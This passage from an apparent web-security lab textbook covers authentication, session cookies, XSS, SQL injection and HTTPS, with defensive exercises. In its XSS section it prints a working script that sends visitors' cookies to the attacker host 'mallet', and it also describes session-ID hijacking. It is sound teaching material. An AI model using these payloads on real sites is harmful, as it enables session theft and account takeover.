</Directory>
```

In this configuration you see that we specified a file where the user names and passwords are saved.

▷ Try to access the file containing the user names and passwords over the network. If you succeed, use the password cracker john on **mallet** to decrypt the passwords in the file.

Problem 6.25 Clearly Alice made a mistake when she configured her web server for basic authentication. How should this be done correctly? In terms of the *OWASP Top 10 Application Security Risks*, which of the problems mentioned in this list does Alice's configuration problem correspond to?

If we compare HTTP Basic Authentication to the initially proposed PHP solution, the only advantage we can see is that the user name and password are not sent in the URL itself as a GET parameter and therefore are not saved in the browser's history. However, as we have observed, the user name and password are transmitted in a simple Base64 encoding with every single HTTP request sent from the client to the server. In terms of session management, HTTP Basic Authentication implicitly identifies user sessions, since user name and password are sent in every packet.

6.5.3 Cookie-Based Session Management

As our next example of session management using HTTP, we examine a solution based on cookies. For this example, you must again change the variable `$auth_type` at the beginning of the file `/var/www/index.php` on **`alice`**, this time setting it to the value `cookie`.

Background on Cookies

Cookies are data that are used by a server to store and retrieve information on a client. The data may be used to encode session information and thereby enable session management on top of the stateless HTTP protocol.

Cookies work as follows. When sending HTTP objects to a client, the server may add information, called a cookie, which is stored on the client by the client's browser. Part of the cookie encodes the range of URLs for which this information is valid. For every future request to a web site within this URL range, the browser will include the cookie.

Cookies have the following attributes:

Name: The cookie's identifier, which is the only required attribute of the Set-Cookie header.

Expires: This tag specifies a date, which defines the cookie's lifetime. If it is not set, then the cookie expires at the end of the session.

Domain: This attribute is used when the browser searches for valid cookies for a given URL.

Path: The path attribute is used to specify the valid directory paths for a given domain. This means that if the browser has found a cookie for a given domain, as a next step the path attribute is searched; if there is a match then the cookie is sent along with the request.

Secure: If the cookie is marked secure, the cookie is only sent over secure connections, namely to HTTPS servers (HTTP over SSL).

Problem 6.26 Use **`mallet`** to connect to Alice's web site on **`alice`**. Log in to the message board and study the authentication process.

- How are the user name and password transmitted this time?
- After a successful login, you get a cookie. What might the name attribute of the cookie stand for? Hint: Log in multiple times and study the differences.

We will next attempt to exploit the fact that the cookie is used to authenticate the user on the message board and that the cookie's content is predictable.

▷ Log in to "Alice's Message Board", first from **alice**. To do so, open a web browser on **alice** and log in using Alice's credentials (user name: *alice*, password: *alice123*). Afterwards, log in to the message board from **mallet** using Mallet's credentials (user name: *mallet*, password: *mallet123*).

In Mallet's browser turn on the plug-in Tamper Data (in Firefox *Tools* → *Tamper Data*, then press the button "Tamper Data"). Afterwards, insert arbitrary text into the message field of the message board and press the *submit* button. In the pop-up window, choose the option *Tamper*. A window pops up that shows the fields of the HTTP request to be submitted to **alice**. For the *request header name* `cookie`, decrease the corresponding *request header value* by one and submit the modified HTTP packet by pressing the button "OK". Check on the message board the origin of the message you have inserted.

Obviously Mallet receives information about the potential session IDs of other currently logged in users by looking at his own session ID. We next modify the PHP script on **alice** to add randomness to the session ID.

▷ In the file `alice:/var/www/session.php` make the following changes:

1. In the function `register_session()` comment out the following lines by adding the PHP comment tag `//` at the beginning of each of the lines.

```
//$ret_val = $database->query("SEL[...]ion_id) FROM sessions");
//foreach($ret_val as $row) $unique_id = $row[0] + 1;
//if(!isset($(unique_id)) $unique_id = 1;
```

2. Add the following line before or after the lines that you commented out.

```
$unique_id = rand(10000,99999);
```

The effect of this code modification is that the session ID is now chosen randomly from the integer range 10,000-99,999. This makes Mallet's life a bit harder. However, the cookie is still transmitted in plaintext, so if Mallet is located in the same broadcast domain as the user logged into the message board, or if he controls a device (e.g., a router) in between the user and the message board, he can simply use a packet-sniffer to read the session ID from a transmitted packet. In addition to the possibility of intercepting the communication between the user and the message board, this is an elegant way to get hold of another user's cookie.

6.6 Cross-Site Scripting (XSS)

Cross-site scripting (XSS) also constitutes a kind of injection attack where an adversary injects a malicious program of his choice into a vulnerable trusted web site. The program is written in a scripting language such as JavaScript and is executed by the victim's browser when displaying the vulnerable web site. This vulnerability arises when the server does not properly sanitize the input sent by the adversary and the output sent to the user.

Summarizing, an XSS attack is carried out in two steps:

1. Data from an untrusted source is entered in a web application.
2. This data is subsequently included in dynamic content that is sent to web users and executed by their browsers.

There are different kinds of XSS attacks differing in how the malicious script is stored and how the attack works.

6.6.1 *Persistent XSS Attacks*

The first kind of attack goes by the name of *persistent attacks* or alternatively *stored attacks*. These attacks are very simple. As the name suggests, the injected code is stored on the vulnerable server. For example, it may be stored in a database, on a message board, or in a comment field. Whenever a victim requests and subsequently displays the stored information, the malicious code is executed by the victim's browser.

We will now exploit a XSS vulnerability in Alice's message board by performing a persistent XSS attack. Using Mallet's browser we will place some JavaScript code in the message board, which allows us to steal the cookie of a victim who is visiting Alice's message board.

▷ Our goal is to place some JavaScript code on the message board with the effect that the session ID of anyone logging in to the message board is automatically sent to Mallet. We proceed as follows.

- On **`mallet`** open the web browser and log in using Mallet's credentials.
- Enter the following lines into the message board:

```
<script>
var req = new XMLHttpRequest();
req.open("GET", 'http://mallet/'+document.cookie, true);
req.send(null);
</script>
```

- On **`mallet`** open a *`root`* shell (you may also use `sudo`) and open a listening server on port 80 using Netcat (`nc -l -v 80`).
- Now log in to the message board from **`alice`** using Alice's credentials and observe the output of the shell where Netcat is running.
- Right after Alice's login, an HTTP request should arrive on **`mallet`**, which is then output in the shell where you have started the Netcat server. The HTTP request contains as GET parameter *sid*, Alice's session ID.
- On **`mallet`**, enter a message on Alice's message board and change the cookie's session ID to Alice's session ID, which you have received over the network. You can use Firebug to perform this task.

In order to remove experimental entries in the message board you may use the tool `phpmyadmin` installed on **`alice`**. Enter `http://alice/phpmyadmin` into Alice's or Mallet's browser, log in as *`root`* (password `alice`), and remove the unwanted entries in database *forum* from the table *forum_entries*.

Note that we kept this example as simple as possible by not requiring Mallet to set up his own infrastructure to automatically handle requests sent by the victim's browser. In real-world attacks, Mallet would probably maintain his own server to handle and use stolen session IDs.

Problem 6.27 How can you protect Alice's message board from XSS attacks like the one we have demonstrated above? Hint: Messages received as GET parameters in HTTP requests are inserted into the message board by the code in `/var/www/forum/forum.php`.

6.6.2 Reflected XSS Attacks

The second kind of XSS attacks are called either *non-persistent attacks* or *reflected attacks*. In these attacks the data provided by the client, for example, in query parameters, is used by the server to generate a page of results for the user. The attack exploits the fact that the server may fail to sanitize the response.

Example 6.2. As an example of a reflected attack, suppose that the user sends his user name as part of the URL.

```
http://example.com/index.php?sid=1234&username=Bob
```

The resulting web site might show something like “Hello Bob”. However, if the adversary constructs a link containing a malicious JavaScript instead of the user name and tricks a victim to click on the link, then this script would be executed by the victim’s browser in the context of the domain specified in the URL.

Example 6.3. Search engines are another example. If the user enters a string to search for, the same string is typically displayed together with the search results. If the search string is not properly sanitized before displayed to the user, an adversary can include malicious JavaScript code that is reflected by the server.

If this vulnerability occurs in a domain trusted by the victim then the adversary may construct an innocent-looking link that contains a malicious script as its search string. The adversary then sends this link to the victim, for example, by e-mail. If the victim clicks on this link then the malicious code is reflected back by the trusted server and is executed in the victim’s browser.

6.6.3 DOM-Based XSS Attacks

A third kind of XSS attacks are called *DOM-based attacks*, where *DOM* stands for document object model. The DOM defines the objects and properties of all elements of an HTML document and the methods used to access them. In particular, an HTML document is structured as a tree, where each HTML element corresponds to a node in the tree. The DOM allows dynamic modifications of elements of the web page on the client side.

Example 6.4. Consider an HTML web page that Bob requests with the following URL:

```
http://example.com?uname=Bob
```

The web page contains JavaScript code to locally read the user’s name from the DOM variable `document.location` and insert a new HTML element (`<h2>`) into the DOM. The new `<h2>` element will then contain the user’s name:

```
...
document.write("<h2>"+document.location.href.substring(
  document.location.href.indexOf("uname=")+6)+"</h2>");
...
```

Suppose now that an adversary can trick a victim to clicking on the following link:

```
http://example.com?uname=<script>malicious script code</script>
```

If the victim clicks on this link, the Javascript reads the adversary’s malicious code from the local DOM variable `document.location` and inserts it into the DOM which in turn is rendered by the victim's browser. Hence, the victim's browser executes the malicious script. Note that, in this attack, the adversary's payload is not included in the HTTP response of the server but is instead inserted locally on the client side.

The above is an example of a reflective DOM-based attack: The attack changes some parameters that are interpreted by the client's browser when rendering the web page. The client-side code thus executes unexpectedly due to malicious modifications of the page's DOM environment.

In contrast to the above, there is a DOM-based attack that does not require the malicious code to be reflected by the server. The attack exploits the fact that URI fragments separated by a "#" are not sent from the browser to the server, but may directly affect the page's DOM environment interpreted by the victim's browser.

Example 6.5. Continuing Example 6.4, the adversary changes the malicious link to:

```
http://example.com#uname=<script>malicious script code</script>
```

This time the victim's browser does not send the adversary's payload to the server. However, it is still located in the local DOM variable `document.location` and will be inserted into the DOM.

Whereas reflected attacks may be detected on the server by inspecting the parameters sent alongside a HTTP request, in non-reflective DOM-based attacks the malicious code does not leave the victim's browser and thus cannot be detected by the server.

Problem 6.28 Read the section on *cross-site request forgery* in the OWASP *Top Ten Vulnerabilities* report [13]. How does it differ from *cross-site scripting*?

6.7 SQL Injections Revisited

In Sect. 6.4.3 we examined SQL injection vulnerabilities in Bob's web shop application. This time, looking at Alice's message board page, we have an additional advantage: we can access the underlying code and can therefore perform a white-box analysis.

To brush-up on SQL injections, we will start with the following simple exercise.

Problem 6.29 Use the SQL vulnerability in the login mechanism of Alice's message board to create a new user *`seclab`* with password *`seclab123`*.

Next, we want to help Alice to secure her application against SQL injections.

Problem 6.30 Name two different ways to avoid SQL injections in PHP and give short explanations of each of them.

Problem 6.31 The vulnerable piece of Alice's code can be found in the file `alice:/var/www/login.php`. The function `check_login()` takes a user name and a password as its input and creates the vulnerable database query. Use *prepared statements* to fix this vulnerability.

6.8 Secure Socket Layer

We have seen various attacks against the mechanisms used by Alice to authenticate visitors to her message board. A problem that we have mentioned but not addressed so far is that somebody who eavesdrops on the communication between a user and the server can see all the transmitted messages in plaintext. This is clearly a serious problem for Alice's authentication mechanism (HTTP basic authentication), as well as for the session management. An adversary who successfully intercepts a user name and a password has all the necessary credentials to impersonate the user at any later time. If an adversary learns a session cookie then he can at least hijack the current session, masking his actions with the corresponding user's identity.

The most common protocols that allow one to secure a TCP/IP-connection are the *Transport Layer Security* (TLS) protocol and its predecessor the *Secure Socket Layer* (SSL) protocol. Both protocols provide authentication as well as data encryption services and support a range of cryptographic algorithms for encryption and authentication (DES, RC4, RSA, SHA, MD5, etc.).

The combination of HTTP with SSL/TLS is called Hypertext Transfer Protocol Secure (HTTPS). HTTPS is widely used in the Internet to secure web applications.

▷ We will now start with the most basic configuration on **`alice`** that supports HTTPS. To proceed, enter the following set of commands in a shell on **`alice`**:

```
alice@alice:$ sudo a2enmod ssl
alice@alice:$ sudo a2ensite default-ssl
alice@alice:$ sudo /etc/init.d/apache2 reload
```

Having configured **`alice`** as described, connect with Mallet's web browser to **`alice`**, using the URL `https://alice`.

Problem 6.32 When connecting to Alice's web site for the first time using the HTTPS protocol, you get a warning. For example, Firefox says: "Secure Connection Failed".

1. Explain the problem on a conceptual level.
2. Why does this problem not show up if you connect for the first time, for example, to `https://www.nsa.gov`?

After you have added Alice's certificate to the set of trusted certificates in Mallet's browser, you should again be able to connect to Alice's message board. In the following exercise we will examine the protocol details.

Problem 6.33 On **`mallet`**, use a sniffer (Wireshark or tcpdump) to observe the set-up phase of a secure connection. Looking at the sniffer's output, describe how the secure connection is set up in terms of exchanged messages.

We will now assume that Alice's certificate has been signed by a certificate authority whose certificate is in the browser's list of accepted certificates. Similarly, we could assume that Alice has authentically distributed her server's certificate. For example, she has personally distributed the certificate by copying it to a USB stick and handing it to Bob. Let us now reconsider some of the attacks that we have seen in this chapter.

Problem 6.34 We assume in the following that Bob connects only to Alice's HTTPS version of her web site.

1. In Sect. 6.5.2 we used HTTP Basic Authentication to authenticate message board users. Assume that Bob logs in to the message board. Is it still possible to sniff his user credentials?
2. In terms of session management, we have seen the problem of predictable session identifiers. The problem with this kind of session identifier is that it is both sent in plaintext and is guessable. Are both problems now solved?
3. Finally, consider the XSS attack your performed in Sect. 6.6. Would a simple change to HTTPS, without additional measures, prevent this type of attack?

Besides certificate-based server authentication, one could additionally implement certificate-based client authentication. In this case each authorized client has a certificate that is used for authentication when the client connects to the server. Certificate-based authentication of the server, as well as of the client, are covered in more detail in Sect. 6.6.

6.9 Further Reading

The *Open Web Application Security Project* (OWASP), http://www.owasp.org, provides lots of useful information on web application security. We recommend in particular the *OWASP Top Ten Vulnerabilities* [13] and the *OWASP Guide* [24]. A PHP version of the *Top Ten Vulnerabilities* can be found at [20].

Other sources, focussing on general vulnerabilities rather than just web application security, are cwe.mitre.org (Common Weakness Enumeration) and cve.mitre.org (Common Vulnerabilities and Exposure). The former site contains explanations and code examples of common vulnerabilities on a conceptual level. The latter contains a general vulnerability database.

Hacking Web Applications Exposed [19] is a hands-on guide to many aspects of web application security. It features a method of probing and repairing an application similar to what you did in this chapter.

6.10 Exercises

Question 6.1 *Session tokens* play a crucial role in web applications. Explain why this is the case and state the possible implications for the security of web applications.

Question 6.2 Explain two ways in which an adversary could get hold of a user's *session token*. For both possibilities, provide an appropriate corresponding countermeasure.

Question 6.3 Explain *SQL injections*. Why and under what circumstances do they work?

Question 6.4 Explain how SQL injections can be prevented.

Question 6.5 Consider a simple message board in the Internet, where users can post messages to be read by other users using their browser.

1. Give a simple example of how the message board could be used by an adversary to mount a cross-site scripting attack. Describe the attack schematically, i.e., without code.
2. What could be done on the web server to prevent cross-site scripting attacks?
3. What could be done on the client side to prevent this type of attacks?

Question 6.6 Typically, *input validation* is mentioned as a protection against buffer-overflows and SQL injections. Explain how *input validation* can prevent the above-mentioned attacks.

Question 6.7 When using *certificate-based authentication*, such as in SSL/TLS or SSH, how can the server check that the user really possesses a valid private key without sending the key to the server?

Question 6.8 The following is an example of a cross-site request forgery (CSRF) attack:

Attack: The adversary first creates a web site carrying malicious JavaScript. When the code is executed, it tries to establish a connection to the victim's home-router, for example, through its web interface, using the standard user names and passwords used by the manufacturers of the most common routers. When the script successfully connects to the router, its configuration is changed so that the DNS server entry (usually pointing to the ISP's DNS server) is set to a DNS server controlled by the adversary. The adversary's DNS server is configured to respond correctly for most of the requests, but returns the IP address of an adversary's server for certain requests, e.g., for an online bank.

Answer the following questions:

1. What is the actual goal of the adversary? What does he gain with this attack?
2. Name at least two ways to prevent such an attack. Note that the attack uses several independent components and a combination of weaknesses. Identify countermeasures for some of them.